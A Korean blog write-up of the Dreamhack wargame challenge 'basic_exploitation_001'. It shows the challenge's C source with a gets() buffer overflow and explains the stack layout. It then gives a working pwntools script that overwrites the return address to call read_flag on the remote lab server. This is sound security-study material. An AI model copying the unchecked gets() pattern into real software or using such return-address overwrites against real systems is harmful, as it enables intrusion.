Notice
Recent Posts
Recent Comments
Link
일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | 5 | ||
6 | 7 | 8 | 9 | 10 | 11 | 12 |
13 | 14 | 15 | 16 | 17 | 18 | 19 |
20 | 21 | 22 | 23 | 24 | 25 | 26 |
27 | 28 | 29 | 30 | 31 |
Tags
- 웹페이지 만들기
- 자료구조 복습
- hackerrank
- 백준
- The Loard of BOF
- hackctf
- Javascript
- 파이썬
- BOJ
- 숙명여자대학교 정보보안동아리
- BOJ Python
- Sookmyung Information Security Study
- 머신러닝
- 생활코딩
- 드림핵
- 숙명여자대학교 정보보안 동아리
- PHP 웹페이지 만들기
- C언어
- c++
- HTML
- SWEA
- c
- lob
- 풀이
- WarGame
- siss
- Python
- 기계학습
- CSS
- XSS Game
Archives
- Today
- Total
혜랑's STORY
[System Hacking STAGE 4] basic_exploitation_001 본문
무지성 공부방/Dreamhack SystemHacking
[System Hacking STAGE 4] basic_exploitation_001
hyerang0125 2022. 1. 27. 13:33가장 먼저 문제 파일을 다운받은 후 c파일을 열어 보았다.
basic_exploitation_001.c
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void read_flag() {
system("cat /flag");
}
int main(int argc, char *argv[]) {
char buf[0x80];
initialize();
gets(buf);
return 0;
}
gets 함수를 사용하여 입력받기 때문에 길이에 제한이 없에 버퍼 오버플로우가 일어날 수 있다. 이번엔 read_flag가 있기 때문에 해당 함수의 주소를 return address에 넣어주면 된다.
read_flag 함수 주소
read_flag 함수의 주소는 0x8048569이다.
오버플로우를 발생시킬 버퍼는 ebp-0x80에 위치하고, 스택 프레임의 구조를 떠올려 보면 ebp에 스택 프레임 포인터(SFP)가 저장되기 때문에 ebp+0x8에는 반환 주소가 저장된다. 이를 참고하여 페이로드를 작성해보자.
dummy[0x80] + SFP[0x4] + return address
작성한 익스플로잇 코드는 다음과 같다.
from pwn import *
context.log_level = 'debug'
p = remote('host1.dreamhack.games', '16927')
e = ELF('./basic_exploitation_001')
ret = e.symbols['read_flag']
print(hex(ret))
payload = b'A' * 0x84
payload += p32(ret)
p.sendline(payload)
p.interactive()
실행 결과이다.
성공~
'무지성 공부방 > Dreamhack SystemHacking' 카테고리의 다른 글
[System Hacking STAGE 5] Exploit Tech: Return to Shellcode (0) | 2022.01.27 |
---|---|
[System Hacking STAGE 5] Mitigation: Stack Canary (0) | 2022.01.27 |
[System Hacking STAGE 4] basic_exploitation_000 (0) | 2022.01.27 |
[System Hacking STAGE 4] Return Address Overwrite (0) | 2022.01.26 |
[System Hacking STAGE 4] Exploit Tech: Return Address Overwrite (0) | 2022.01.26 |